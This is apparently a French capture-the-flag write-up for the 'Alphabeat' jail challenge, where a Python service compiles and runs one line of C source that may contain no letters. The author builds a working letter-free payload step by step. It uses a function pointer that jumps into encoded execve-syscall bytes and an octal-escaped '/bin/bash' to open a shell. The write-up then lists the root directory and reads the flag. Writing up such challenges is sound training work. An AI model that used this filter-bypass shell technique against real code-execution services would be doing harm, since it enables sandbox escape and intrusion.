🔠 !Alphabeat
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/python3 -u
import os
import subprocess
import tempfile
import re
print("Input your code (1 line)")
code = input("> ")
if re.search(r'[A-Za-z]', code):
print("No letters allowed")
exit(1)
with tempfile.TemporaryDirectory() as td:
src_path = os.path.join(td, "source.c")
compiled_path = os.path.join(td, "compiled")
with open(src_path, "w") as file:
file.write(code)
# Entry point is _ *NOT* main. Keep that in mind
# as the chal is literally impossible without this
returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if returncode != 0:
print("Oops, there were some compilation errors!")
exit(1)
print("Good luck!")
subprocess.call([compiled_path])
🚩 Avoir le flag
Bon bon bon, on a un challenge qui compile du code C et l'exécute. On ne peut pas utiliser de lettres dans le code source, mais on peut utiliser des chiffres. On a aussi un indice qui nous dit que le point d'entrée n'est pas main
mais plutot _
.
De suite j'ai une première idée qui me viens en tête :
- Ecrire la fonction
_
- Lui injecter un pointeur sur fonction qui pointe vers
execve
ousyscall
Donc en dehors de toute blacklist faire quelque chose comme ça :
int _() {
(*$)() = 0x0000000;
$(59, "/bin/bash", 0, 0);
}
Assez simplement on a notre code source :
int _(){
}
Mais on a le mot clé int
qui est une lettre. On ne peut pas l'utiliser.
Le défault de C
En C, si on ne spécifie pas le type de retour d'une fonction, le compilateur va automatiquement le mettre en int
. C'est pour cela que l'on peut enlever le int
de notre fonction _
et le code va toujours compiler.
_(){
}
Maintenant il nous faut une variable qui soit un pointeur sur fonction sauf que comment nous pouvons faire ?
Pas besoin de type en C
En C, il n'y a pas besoin de type pour déclarer une variable SI est seulement SI elle est déclarée dans le scope global. C'est à dire en dehors de toute fonction.
$;
_(){
}
Ici $
est une variable qui est un int.
Donc pour mettre notre variable en pointeur sur fonction, il suffit de la déclarer en dehors de toute fonction.
(*$)();
_(){
}
A présent nous devons avoir un pointeur sur fonction qui pointe vers l'adresse de la fonction execve
ou syscall
. Pour cela nous allons simplement décaler dans notre mémoire notre rax
pour qu'il mettre directement notre 59
dans l'adresse de lancement d'un syscall.
(*$)();
_(){
$= 0x50f3bb0;
$("/bin/bash", 0, 0);
}
Et nous devons maintenant trouver un moyen de mettre notre /bin/bash
avec uniquement des chiffres. Pour cela c'est très simple nous allons simplement le mettre en octal.
(*$)();
_(){
$ = 0x50f3bb0;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
Et il nous faut maintenant décaler notre pointeur sur le syscall qu'on a créé. Pour cela on va simplement décaler notre pointeur de 11 octets.
(*$)();
(*$__)();
_(){
$__= 0x50f3bb0;
$=_+11;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
A présent nous avons une dernière chose à faire, c'est de mettre notre adresse de mouvement 0x50f3bb0
en int. Pour cela on va simplement le mettre en octal.
(*$)();
(*$__)();
_(){
$__= 84884400;
$=_+11;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
Il suffit maintenant de mettre notre code en une seule ligne et de le mettre dans le challenge.
(*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}
Et voilà, nous avons notre flag.
Input your code (1 line)
> (*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}
Good luck!
ls -la /
total 64
drwxr-xr-x 1 nobody nogroup 4096 Sep 7 23:35 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 7 23:35 ..
drwxr-xr-x 2 nobody nogroup 4096 Sep 7 23:35 app
lrwxrwxrwx 1 nobody nogroup 7 May 13 00:00 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 boot
drwxrwxrwt 2 nobody nogroup 100 Sep 14 18:31 dev
drwxr-xr-x 46 nobody nogroup 4096 Sep 7 23:35 etc
-rw-r--r-- 1 nobody nogroup 47 Aug 2 20:00 flag-655089ec904a39e5523a6a0e.txt
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 home
lrwxrwxrwx 1 nobody nogroup 7 May 13 00:00 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 May 13 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 media
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 mnt
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 opt
dr-xr-xr-x 178 nobody nogroup 0 Sep 15 12:38 proc
drwx------ 2 nobody nogroup 4096 May 14 07:16 root
drwxr-xr-x 3 nobody nogroup 4096 May 14 02:54 run
lrwxrwxrwx 1 nobody nogroup 8 May 13 00:00 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 srv
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 sys
drwxrwxrwt 3 1000 1000 60 Sep 15 12:38 tmp
drwxr-xr-x 12 nobody nogroup 4096 May 13 00:00 usr
drwxr-xr-x 11 nobody nogroup 4096 May 13 00:00 var
cat /flag-655089ec904a39e5523a6a0e.txt
jail{writing_C_just_the_way_it_was_meant_to_be}
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github